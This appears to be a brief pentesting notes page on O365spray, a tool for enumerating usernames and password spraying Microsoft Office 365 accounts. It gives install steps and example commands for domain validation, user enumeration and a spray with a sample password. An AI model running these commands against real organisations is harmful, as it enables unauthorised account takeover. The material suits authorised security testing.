O365spray

O365spray is a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365) developed by ZDH. This tool reimplements a collection of enumeration and spray techniques researched.

Installation

Repo: https://github.com/0xZDH/o365spray

git clone https://github.com/0xZDH/o365spray
cd o365spray
sudo pip install -r requirements.txt

Basic usage

User enumeration:

# First validate if our target domain is using Office 365.
python3 o365spray.py --validate --domain msexample.com

# Attempt to identify usernames.
python3 o365spray.py --enum -U users.txt --domain msexample.com

python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msexample.com

Last update: 2024-11-03
Created: November 3, 2024 22:11:02